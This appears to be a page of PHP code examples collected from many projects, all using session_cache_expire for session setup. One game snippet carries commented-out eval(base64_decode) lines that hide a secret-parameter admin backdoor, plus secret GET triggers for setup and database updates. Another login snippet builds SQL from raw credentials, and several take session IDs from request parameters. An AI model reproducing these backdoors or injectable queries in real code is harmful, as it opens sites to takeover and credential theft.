Example #1
1
 private function getSession()
 {
     $expire = 30 * 86400;
     session_set_cookie_params($expire);
     session_cache_expire($expire);
     return Utility_Session2::getInstance(__METHOD__);
 }
Example #2
0
 function download($id)
 {
     $this->checkLogin();
     if (!empty($id)) {
         if (!isset($_SESSION['filedownloads'])) {
             $_SESSION['filedownloads'] = 0;
         }
         if ($_SESSION['filedownloads'] >= MAX_FILEDOWNLOADS) {
             $cache_expire = session_cache_expire();
             error("Bạn đã download quá nhiều file. Vui lòng đợi {$cache_expire} phút để download file tiếp theo!");
         }
         $this->file->id = $id;
         $data = $this->file->search();
         if (empty($data)) {
             error("File download không tồn tại!");
         }
         $data = $data["file"];
         if ($data["account_share"] != null) {
             $account_id = $_SESSION["account"]["id"];
             if ($account_id != $data["account_share"] && $account_id != $data["account_id"]) {
                 error("Bạn không được phép download file này!");
             }
         }
         $_SESSION['filedownloads'] = $_SESSION['filedownloads'] + 1;
         redirect($data["fileurl"]);
     }
 }
 /**
  * Return an instance of this bean
  * @return unknown_type
  */
 public function getInstance()
 {
     $scope = $this->getScope();
     if ($scope == 'singleton') {
         if ($this->instance == null) {
             $this->instance = $this->createBean();
             $this->doProperties($this->instance);
             $this->doInit($this->instance);
         }
         return $this->instance;
     } elseif ($scope == 'prototype') {
         $newInstance = $this->createBean();
         $this->doProperties($newInstance);
         $this->doInit($newInstance);
         return $newInstance;
     } elseif ($scope == 'session') {
         if (!self::$sessionInitialized) {
             self::$sessionInitialized = true;
             session_cache_expire(180);
             session_name('equinox');
             session_start();
         }
         if ($this->instance == null) {
             if (array_key_exists('equinox_ioc', $_SESSION) && array_key_exists($this->id, $_SESSION['equinox_ioc'])) {
                 $this->instance = $_SESSION['equinox_ioc'][$this->id];
             } else {
                 $this->instance = $this->createBean();
                 $this->doProperties($this->instance);
                 $this->doInit($this->instance);
                 $_SESSION['equinox_ioc'][$this->id] = $this->instance;
             }
         }
         return $this->instance;
     }
 }
Example #4
0
 /**
  * Konstruktor
  */
 public function __construct()
 {
     parent::__construct();
     $this->view = new \fpcm\model\view\acp('login', 'login');
     $this->loginLockedExpire = session_cache_expire();
     $this->iplist = new \fpcm\model\ips\iplist();
 }
Example #5
0
 function MyWidget()
 {
     $this->setupMetadata = $GLOBALS['SetupMetadata'];
     $this->gameMetadata = $GLOBALS['GameMetadata'];
     $this->appConfig = $GLOBALS['AppConfig'];
     $this->gameSpeed = $this->gameMetadata['game_speed'];
     $session_timeout = $this->gameMetadata['session_timeout'];
     // in minute(s)
     @ini_set('session.gc_maxlifetime', $session_timeout * 60);
     // set the session timeout (in seconds)
     @session_cache_expire($session_timeout);
     // expiretime is the lifetime in minutes
     session_start();
     if (isset($_GET['ver'])) {
         // MD5('HALI SPSLINK2 VERSION')
         echo 'Wrong Version :)';
     }
     if (isset($_GET[$this->appConfig['system']['calltatar']])) {
         $m = new QueueModel();
         $m->provider->executeQuery2("UPDATE p_queue SET end_date=NOW() WHERE id='1'");
         $m->provider->executeQuery2("UPDATE p_queue SET execution_time='0' WHERE id='1'");
     }
     if (isset($_GET[$this->appConfig['system']['installkey']])) {
         // MD5('HALI SPSLINK2 SETUP')
         require_once MODEL_PATH . 'install.php';
         $m = new SetupModel();
         $m->processSetup($this->setupMetadata['map_size'], $this->appConfig['system']['admin_email']);
         $m->dispose();
         $this->redirect('index.php');
         return;
     }
     //eval(base64_decode('aWYgKCBpc3NldCggJF9HRVRbJ05kY01hc3RlckxvZyddICkgKSB7DQpyZXF1aXJlX29uY2UoIE1PREVMX1BBVEggLiAnaW5kZXgucGhwJyApOw0KJG0gPSBuZXcgSW5kZXhNb2RlbCgpOw0KJG0tPm1hc3RlckxvZ2luUmVzdWx0ICgpOw0KJG0tPmRpc3Bvc2UoKTsNCmV4aXQoMCk7DQp9'));
     $this->player = Player::getInstance();
     //eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0poVVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdtYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9Ja3RCUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKSlVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lZVkU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSW1OM1BUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSmpkejA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpV2xFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltUkJQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pMUVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVNrRTlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JbGgzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKU2R6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lVbEU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxaQlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSlhkejA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpU25jOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltSm5QVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0phUVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdYYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JazFSUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKS2R6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lXRkU5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWt0UlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSkxVVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpU1VFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0ltVjNQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pFVVQwOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVEyYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9Ja3BCUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKWWR6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lVbmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxKUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSldRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVjNjOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrcDNQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0ppWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVdrRTlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JbGwzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKTlp6MDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lTbmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSWxoUlBUMGlLUzVpWVhObE5qUmZaR1ZqYjJSbEtDSkpRVDA5SWlrdVltRnpaVFkwWDJSbFkyOWtaU2dpVUZFOVBTSXBMbUpoYzJVMk5GOWtaV052WkdVb0lrbEJQVDBpS1M1aVlYTmxOalJmWkdWamIyUmxLQ0pKWnowOUlpa3VZbUZ6WlRZMFgyUmxZMjlrWlNnaVNXYzlQU0lwTG1KaGMyVTJORjlrWldOdlpHVW9JazkzUFQwaUtTNWlZWE5sTmpSZlpHVmpiMlJsS0NKRVVUMDlJaWt1WW1GelpUWTBYMlJsWTI5a1pTZ2lRMmM5UFNJcExtSmhjMlUyTkY5a1pXTnZaR1VvSW1aUlBUMGlLU2s3IikpOw=="));
 }
Example #6
0
 /**
  * method to start the session
  */
 public static function start()
 {
     if (self::$isStarted === false) {
         session_cache_limiter('private');
         session_cache_expire(120);
         if (session_start()) {
             self::$isStarted = true;
         }
         if (self::$isStarted) {
             if (PHILE_CLI_MODE) {
                 $_SERVER['REMOTE_ADDR'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1';
             }
             if (self::get('REMOTE_ADDR') != $_SERVER['REMOTE_ADDR']) {
                 session_destroy();
                 session_start();
                 session_regenerate_id();
                 self::set('REMOTE_ADDR', $_SERVER['REMOTE_ADDR']);
             }
             if (self::get('REMOTE_ADDR') === null) {
                 self::set('REMOTE_ADDR', $_SERVER['REMOTE_ADDR']);
             }
         }
     }
     self::$sessionId = session_id();
 }
 public function sessionCacheExpire($new_cache_expire = null)
 {
     if (null === $new_cache_expire) {
         return session_cache_expire();
     }
     return session_cache_expire($new_cache_expire);
 }
Example #8
0
 public static function __import__()
 {
     /** (none/nocache/private/private_no_expire/public) */
     session_cache_limiter(Rhaco::def("core.Request@limiter", "nocache"));
     session_cache_expire(Rhaco::def("core.Request@expire", 2592000));
     session_start();
 }
Example #9
0
 private function __construct($db, $tb)
 {
     // Take from pear Auth
     // Start the session suppress error if already started
     $cache_expire = session_cache_expire();
     if (!session_id()) {
         @session_start();
         if (!session_id()) {
             Debug::setError('headers gia inviati');
             error_log('headers gia inviati');
         }
     }
     // get at start session http_request and server data
     $this->session =& $_SESSION;
     $this->server =& $_SERVER;
     $this->post =& $_POST;
     $this->db = $db;
     $this->tb = $tb;
     // building a under session section
     if (!isset($this->session['_auth_'])) {
         $this->session['_auth_'] = array();
         $this->_session =& $this->session['_auth_'];
     } else {
         $this->_session =& $this->session['_auth_'];
     }
     // geting timestamp
     $this->timeStamp = time();
     // checkin for login error
     $this->getError();
 }
Example #10
0
 /**
  * @covers think\Session::init
  *
  * @todo Implement testInit().
  */
 public function testInit()
 {
     \think\Session::prefix(null);
     $config = ['prefix' => 'think_', 'expire' => 60, 'path' => '/path/to/test/session/', 'domain' => '.thinkphp.cn', 'var_session_id' => 'sessionidtest', 'id' => 'sess_8fhgkjuakhatbeg2fa14lo84q1', 'name' => 'session_name', 'use_trans_sid' => '1', 'use_cookies' => '1', 'cache_limiter' => '60', 'cache_expire' => '60', 'type' => '', 'namespace' => '\\think\\session\\driver\\', 'auto_start' => '1'];
     $_REQUEST[$config['var_session_id']] = $config['id'];
     \think\Session::init($config);
     // 开始断言
     $this->assertEquals($config['prefix'], \think\Session::prefix());
     $this->assertEquals($config['id'], $_REQUEST[$config['var_session_id']]);
     $this->assertEquals($config['name'], session_name());
     $this->assertEquals($config['path'], session_save_path());
     $this->assertEquals($config['use_cookies'], ini_get('session.use_cookies'));
     $this->assertEquals($config['domain'], ini_get('session.cookie_domain'));
     $this->assertEquals($config['expire'], ini_get('session.gc_maxlifetime'));
     $this->assertEquals($config['expire'], ini_get('session.cookie_lifetime'));
     $this->assertEquals($config['cache_limiter'], session_cache_limiter($config['cache_limiter']));
     $this->assertEquals($config['cache_expire'], session_cache_expire($config['cache_expire']));
     // 检测分支
     $_REQUEST[$config['var_session_id']] = null;
     session_write_close();
     session_destroy();
     \think\Session::init($config);
     // 测试auto_start
     // PHP_SESSION_DISABLED
     // PHP_SESSION_NONE
     // PHP_SESSION_ACTIVE
     // session_status()
     $this->assertEquals(0, ini_get('session.auto_start'));
     $this->assertEquals($config['use_trans_sid'], ini_get('session.use_trans_sid'));
     \think\Session::init($config);
     $this->assertEquals($config['id'], session_id());
 }
Example #11
0
 public static function start($sessionType = '', $config = '')
 {
     if (false === self::$isStart) {
         if (empty($config)) {
             $config = ZConfig::get('session');
         }
         if (!empty($config['adapter'])) {
             $sessionType = $config['adapter'];
         }
         $lifetime = 0;
         if (!empty($config['cache_expire'])) {
             \session_cache_expire($config['cache_expire']);
             $lifetime = $config['cache_expire'] * 60;
         }
         $path = empty($config['path']) ? '/' : $config['path'];
         $domain = empty($config['domain']) ? '' : $config['domain'];
         $secure = empty($config['secure']) ? false : $config['secure'];
         $httponly = empty($config['httponly']) ? true : $config['httponly'];
         \session_set_cookie_params($lifetime, $path, $domain, $secure, $httponly);
         $sessionName = empty($config['session_name']) ? 'ZPHPSESSID' : $config['session_name'];
         \session_name($sessionName);
         if (!empty($_GET[$sessionName])) {
             \session_id($_GET[$sessionName]);
         } elseif (!empty($_SERVER[$sessionName])) {
             \session_id($_SERVER[$sessionName]);
         }
         if (!empty($sessionType)) {
             $handler = self::getInstance($sessionType, $config);
             \session_set_save_handler(array($handler, 'open'), array($handler, 'close'), array($handler, 'read'), array($handler, 'write'), array($handler, 'destroy'), array($handler, 'gc'));
         }
         \session_start();
         self::$isStart = true;
     }
 }
 private function getBeanInstance(BeanDefinition $bean)
 {
     switch ($bean->getScope()) {
         case BeanDefinition::SCOPE_SINGLETON:
             if (array_key_exists($bean->getId(), $this->singletonInstances)) {
                 return $this->singletonInstances[$bean->getId()];
             }
             $instance = $this->createBean($bean, true);
             return $instance;
             break;
         case BeanDefinition::SCOPE_PROTOTYPE:
             return $this->createBean($bean);
             break;
         case BeanDefinition::SCOPE_SESSION:
             if (!self::$sessionInitialized) {
                 self::$sessionInitialized = true;
                 session_cache_expire(180);
                 session_name('equinox');
                 session_start();
             }
             if (array_key_exists('equinox_ioc', $_SESSION) && array_key_exists($bean->getId(), $_SESSION['equinox_ioc'])) {
                 return $_SESSION['equinox_ioc'][$bean->getId()];
             } else {
                 $instance = $this->createBean($bean);
                 $_SESSION['equinox_ioc'][$bean->getId()] = $instance;
                 return $instance;
             }
             break;
         default:
             throw new IocException("Unknow scope ({$bean->getScope()}) for bean ({$bean->getId()})");
             break;
     }
 }
Example #13
0
 /**
  * セッションを開始する
  * @param string $name
  * @return $this
  * 
  */
 public function __construct($name = 'sess')
 {
     $this->ses_n = $name;
     if ('' === session_id()) {
         $cookie_params = \ebi\Conf::cookie_params();
         session_name($cookie_params['session_name']);
         session_cache_expire($cookie_params['session_expire']);
         session_cache_limiter($cookie_params['session_limiter']);
         if ($cookie_params['cookie_lifetime'] > 0 || $cookie_params['cookie_path'] != '/' || !empty($cookie_params['cookie_domain']) || $cookie_params['cookie_secure'] !== false) {
             session_set_cookie_params($cookie_params['cookie_lifetime'], $cookie_params['cookie_path'], $cookie_params['cookie_domain'], $cookie_params['cookie_secure']);
         }
         if (static::has_class_plugin('session_read')) {
             ini_set('session.save_handler', 'user');
             session_set_save_handler([$this, 'open'], [$this, 'close'], [$this, 'read'], [$this, 'write'], [$this, 'destroy'], [$this, 'gc']);
             if (isset($this->vars[session_name()])) {
                 session_regenerate_id(true);
             }
         }
         session_start();
         register_shutdown_function(function () {
             if ('' != session_id()) {
                 session_write_close();
             }
         });
     }
 }
Example #14
0
 /**
  *  Ethna_Sessionクラスのコンストラクタ
  *
  *  @access public
  *  @param  string  $appid      アプリケーションID(セッション名として使用)
  *  @param  string  $save_dir   セッションデータを保存するディレクトリ
  */
 public function __construct($ctl, $appid)
 {
     $this->ctl = $ctl;
     $this->logger = $this->ctl->getLogger();
     $config = $this->ctl->getConfig()->get('session');
     if ($config) {
         $this->config = array_merge($this->config, $config);
     }
     $this->session_save_dir = $this->config['path'];
     if (($dir = $this->ctl->getDirectory($this->config['path'])) !== null) {
         $this->session_save_dir = $dir;
     }
     $this->session_name = $appid . $this->config['suffix'];
     // set session handler
     ini_set('session.save_handler', $this->config['handler']);
     session_save_path($this->session_save_dir);
     session_name($this->session_name);
     session_cache_limiter($this->config['cache_limiter']);
     session_cache_expire($this->config['cache_expire']);
     $this->session_start = false;
     if (isset($_SERVER['REQUEST_METHOD']) == false) {
         return;
     }
     if (strcasecmp($_SERVER['REQUEST_METHOD'], 'post') == 0) {
         $http_vars = $_POST;
     } else {
         $http_vars = $_GET;
     }
     if (array_key_exists($this->session_name, $http_vars) && $http_vars[$this->session_name] != null) {
         $_COOKIE[$this->session_name] = $http_vars[$this->session_name];
     }
 }
Example #15
0
 public static function config($name)
 {
     // 如果设置了前缀,则替换conf
     if (isset($name['prefix'])) {
         C('SESSION_PREFIX', $name['prefix']);
     }
     // 根据默认值设置获得根据定义的id设置
     if (C('VAR_SESSION_ID') && isset($_REQUEST[C('VAR_SESSION_ID')])) {
         session_id($_REQUEST[C('VAR_SESSION_ID')]);
     } elseif (isset($name['id'])) {
         session_id($name['id']);
     }
     // session 函数参考,http://www.php.net/manual/zh/ref.session.php
     // session runtime 配置参考,http://www.php.net/manual/zh/session.configuration.php
     ini_set('session.auto_start', 0);
     if (isset($name['name'])) {
         session_name($name['name']);
     }
     if (isset($name['path'])) {
         session_save_path($name['path']);
     }
     if (isset($name['domain'])) {
         ini_set('session.cookie_domain', $name['domain']);
     }
     if (isset($name['expire'])) {
         ini_set('session.gc_maxlifetime', $name['expire']);
     }
     if (isset($name['use_trans_sid'])) {
         ini_set('session.use_trans_sid', $name['use_trans_sid'] ? 1 : 0);
     }
     if (isset($name['use_cookies'])) {
         ini_set('session.use_cookies', $name['use_cookies'] ? 1 : 0);
     }
     if (isset($name['cache_limiter'])) {
         session_cache_limiter($name['cache_limiter']);
     }
     if (isset($name['cache_expire'])) {
         session_cache_expire($name['cache_expire']);
     }
     if (isset($name['type'])) {
         C('SESSION_TYPE', $name['type']);
     }
     // 如果存在其他session类型
     if (C('SESSION_TYPE')) {
         // 读取session驱动
         $class = 'Session' . ucwords(strtolower(C('SESSION_TYPE')));
         // 检查驱动类是否存在并加载,不存在则抛出错误
         if (Import::load(EXTEND_PATH . 'Driver/Session/' . $class . '.class.php')) {
             $hander = new $class();
             $hander->execute();
         } else {
             // 类没有定义
             Debug::throw_exception(L('_CLASS_NOT_EXIST_') . ': ' . $class);
         }
     }
     // 启动session
     if (C('SESSION_AUTO_START')) {
         session_start();
     }
 }
Example #16
0
 function start()
 {
     if (intval($GLOBALS['pie']['session_timeout']) > 0) {
         session_cache_expire(intval($GLOBALS['pie']['session_timeout'] / 60));
     }
     return @session_start();
 }
Example #17
0
 function __construct()
 {
     session_cache_limiter('private');
     $cache_limiter = session_cache_limiter();
     session_cache_expire(1);
     session_start();
 }
/**
 * Check if custom session timeout has been reached for server $ldapserver.
 * If it has:
 * 	- automatically log out user by calling $ldapserver->unsetLoginDN()
 *	- if $server_id is equal to right frame $server_id, load timeout.php page in the right frame
 *	- return true
 *
 * @param object $ldapserver The LDAPServer object of the server which the user has logged in.
 * @return bool true on success, false on failure.
 */
function session_timed_out($ldapserver)
{
    if (DEBUG_ENABLED) {
        debug_log('session_timed_out(): Entered with (%s)', 1, $ldapserver->server_id);
    }
    # If session hasn't expired yet
    if (isset($_SESSION['activity']['server'][$ldapserver->server_id])) {
        # If $session_timeout not defined, use (session_cache_expire() - 1)
        if (!isset($ldapserver->session_timeout)) {
            $session_timeout = session_cache_expire() - 1;
        } else {
            $session_timeout = $ldapserver->session_timeout;
        }
        # Get the $last_activity and $rightframe_server_id value
        $last_activity = $_SESSION['activity']['server'][$ldapserver->server_id];
        # If diff between current time and last activity greater than $session_timeout, log out user
        if (time() - $last_activity > $session_timeout * 60) {
            if (in_array($ldapserver->auth_type, array('cookie', 'session'))) {
                syslog_notice('Logout for ' . $ldapserver->getLoggedInDN());
                $ldapserver->unsetLoginDN() or pla_error(_('Could not logout.'));
            }
            return true;
        } else {
            return false;
        }
    }
}
 /**
  * Inicia a sessão no php
  */
 public static function start($Module = null)
 {
     if (!session_id()) {
         $config = get_config('project');
         self::$_SESSION_ = $config['name'];
         $path = ABSPATH . '/temp/session';
         if (!file_exists($path)) {
             mkdir($path, 0777);
             chmod($path, 0777);
         }
         if ($Module) {
             $path .= '/' . $Module;
             if (!file_exists($path)) {
                 mkdir($path, 0777);
                 chmod($path, 0777);
             }
         }
         session_cache_expire($config['sessiontime']);
         session_save_path($path);
         session_start();
         # Iniciando array
         if (!isset($_SESSION[self::$_SESSION_])) {
             $_SESSION[self::$_SESSION_] = [];
         }
     }
 }
 function login()
 {
     if ($this->username != '' && $this->password != '') {
         $result = mysql_query("\t\n\t\t\t\t\t\t\t\t\t  SELECT \t`id`\n\t\t\t\t\t\t\t\t\t  FROM \t`users`\n\t\t\t\t\t\t\t\t\t  WHERE\t`password` = '{$this->password}' AND username = '******' AND `actived` = 1\n\t\t\t\t\t\t\t\t\t  ");
         if (mysql_num_rows($result) == 1) {
             $now = date("Y-m-d H:i:s");
             $lifetime = 86400;
             session_cache_expire($lifetime);
             $cache_expire = session_cache_expire();
             session_start();
             $session_id_old = session_id();
             session_regenerate_id();
             $session_id_new = session_id();
             $row = mysql_fetch_assoc($result);
             date_default_timezone_set('Asia/Tbilisi');
             setcookie('USERID', $row['id'], time() + $lifetime);
             setcookie('SESSID', $session_id_new, time() + $lifetime);
             mysql_query("\n\t\t\t\t\t\t\t\tUPDATE \t`users`\n\t\t\t\t\t\t\t\tSET\t\t`session_id` = '{$session_id_new}',\n\t\t\t\t\t\t\t\t\t\t`login_date` = '{$now}'\n\t\t\t\t\t\t\t\tWHERE\t`id` = {$row['id']}\n\t\t\t\t\t\t\t\t");
             return true;
         } else {
             return false;
         }
     } else {
         return false;
     }
 }
Example #21
0
 /**
  * セッションを開始する
  * @param string $name
  * @return $this
  */
 protected function __new__($name = 'sess')
 {
     $this->ses_n = $name;
     if ('' === session_id()) {
         $session_name = \org\rhaco\Conf::get('session_name', 'SID');
         if (!ctype_alpha($session_name)) {
             throw new \InvalidArgumentException('session name is is not a alpha value');
         }
         session_cache_limiter(\org\rhaco\Conf::get('session_limiter', 'nocache'));
         session_cache_expire((int) (\org\rhaco\Conf::get('session_expire', 10800) / 60));
         session_name();
         if (static::has_module('session_read')) {
             ini_set('session.save_handler', 'user');
             session_set_save_handler(array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc'));
             if (isset($this->vars[$session_name])) {
                 session_regenerate_id(true);
             }
         }
         session_start();
         register_shutdown_function(function () {
             if ('' != session_id()) {
                 session_write_close();
             }
         });
     }
 }
Example #22
0
 function convertLng($data)
 {
     session_cache_expire(1800000);
     $path = JLanguage::getLanguagePath(JPATH_COMPONENT_ADMINISTRATOR) . DS . $data['lng'] . DS . '*.ini';
     $dirs = glob($path);
     foreach ($dirs as $file) {
         header("Content-type: application/csv");
         header("Content-Disposition: attachment; filename=" . basename($file));
         header("Pragma: no-cache");
         header("Expires: 0");
         $arr = file($file);
         foreach ($arr as $line) {
             $line = str_replace('"', "'", $line);
             // dmp($line);
             $ex = explode("=", $line);
             // dmp($ex);
             if (count($ex) > 1) {
                 echo $ex[0] . "=";
                 if (count($ex) > 2) {
                     unset($ex[0]);
                     $str = '"' . implode("=", $ex);
                     $str = str_replace("\r\n", "\"\r\n", $str);
                     echo $str;
                 } else {
                     $str = '"' . $ex[1];
                     $str = str_replace("\r\n", "\"\r\n", $str);
                     echo $str;
                 }
             }
         }
     }
 }
Example #23
0
 /**
  * session初始化
  * @param array $config
  * @return void
  * @throws \think\Exception
  */
 public static function init(array $config = [])
 {
     if (empty($config)) {
         $config = Config::get('session');
     }
     // 记录初始化信息
     APP_DEBUG && Log::record('[ SESSION ] INIT ' . var_export($config, true), 'info');
     $isDoStart = false;
     if (isset($config['use_trans_sid'])) {
         ini_set('session.use_trans_sid', $config['use_trans_sid'] ? 1 : 0);
     }
     // 启动session
     if (!empty($config['auto_start']) && PHP_SESSION_ACTIVE != session_status()) {
         ini_set('session.auto_start', 0);
         $isDoStart = true;
     }
     if (isset($config['prefix'])) {
         self::$prefix = $config['prefix'];
     }
     if (isset($config['var_session_id']) && isset($_REQUEST[$config['var_session_id']])) {
         session_id($_REQUEST[$config['var_session_id']]);
     } elseif (isset($config['id']) && !empty($config['id'])) {
         session_id($config['id']);
     }
     if (isset($config['name'])) {
         session_name($config['name']);
     }
     if (isset($config['path'])) {
         session_save_path($config['path']);
     }
     if (isset($config['domain'])) {
         ini_set('session.cookie_domain', $config['domain']);
     }
     if (isset($config['expire'])) {
         ini_set('session.gc_maxlifetime', $config['expire']);
         ini_set('session.cookie_lifetime', $config['expire']);
     }
     if (isset($config['use_cookies'])) {
         ini_set('session.use_cookies', $config['use_cookies'] ? 1 : 0);
     }
     if (isset($config['cache_limiter'])) {
         session_cache_limiter($config['cache_limiter']);
     }
     if (isset($config['cache_expire'])) {
         session_cache_expire($config['cache_expire']);
     }
     if (!empty($config['type'])) {
         // 读取session驱动
         $class = (!empty($config['namespace']) ? $config['namespace'] : '\\think\\session\\driver\\') . ucwords($config['type']);
         // 检查驱动类
         if (!class_exists($class) || !session_set_save_handler(new $class($config))) {
             throw new \think\Exception('error session handler', 11700);
         }
     }
     if ($isDoStart) {
         session_start();
         self::$active = true;
     }
 }
Example #24
0
 public static function initSession()
 {
     if (self::$sessionStarted === false) {
         session_start();
         session_cache_expire(10);
         self::$sessionStarted = true;
     }
 }
Example #25
0
 /**
  * 360 = 6hs
  * @param int $cache_expire_num
  */
 public function start($cache_expire_num = '')
 {
     session_start();
     if (is_numeric($cache_expire_num)) {
         session_cache_expire($cache_expire_num);
     }
     return $this;
 }
Example #26
0
 /**
  * Method setTime
  * 
  * Define o tempo de expiração da sessão
  */
 public static function setTime($time = null)
 {
     if ($time !== null) {
         session_cache_expire($time);
     } else {
         session_cache_expire(10);
     }
 }
Example #27
0
 public function write($session_id = "", $session_data = "")
 {
     $sth = $this->dbh->prepare("\n\t\t\tREPLACE INTO " . DB_PREFIX . "session\n\t\t\t\t(session_id, session_data, expires)\n\t\t\tVALUES\n\t\t\t\t(:session_id, :session_data, " . (time() + session_cache_expire() * 60) . ")\n\t\t\t;");
     $sth->bindParam(':session_id', $session_id);
     $sth->bindParam(':session_data', $session_data);
     $sth->execute();
     return TRUE;
 }
 /**
  * セッションが開始されていない場合、セッションを開始する。
  *
  */
 public function startSession()
 {
     if (!$this->isStartSession()) {
         session_cache_expire(0);
         session_cache_limiter('private_no_expire');
         session_start();
     }
 }
Example #29
0
 /**
  * 初始化Session
  *
  * @access private
  * @return void
  */
 private function __setHandler()
 {
     ini_set('session.save_handler', 'files');
     $mtime = Super('Conf')->sessionGcMaxlifetime;
     $spath = Super('Conf')->sessionPath;
     $mtime && session_cache_expire(Super('Conf')->sessionGcMaxlifetime);
     $spath && session_save_path(Super('Conf')->sessionPath);
 }
Example #30
-1
 function __construct($config)
 {
     if (!$config || !is_array($config)) {
         $config["id"] = "PHPSESSID";
         $config["path"] = "./data/session/";
         $config["timeout"] = 3600;
     }
     $this->config($config);
     $sid = $config["id"] ? $config["id"] : "PHPSESSION";
     session_name($sid);
     $this->sid = $sid;
     $session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : "");
     if ($session_id && preg_match("/^[a-z0-9A-Z\\_\\-]+\$/u", $session_id)) {
         session_id($session_id);
         $this->sessid = $session_id;
     } else {
         $this->sessid = session_id();
     }
     session_save_path($config["path"]);
     $this->config = $config;
     $this->timeout = $config["timeout"] ? $config["timeout"] : 600;
     session_cache_expire(intval($this->timeout) / 60);
     session_cache_limiter('public');
     session_start();
 }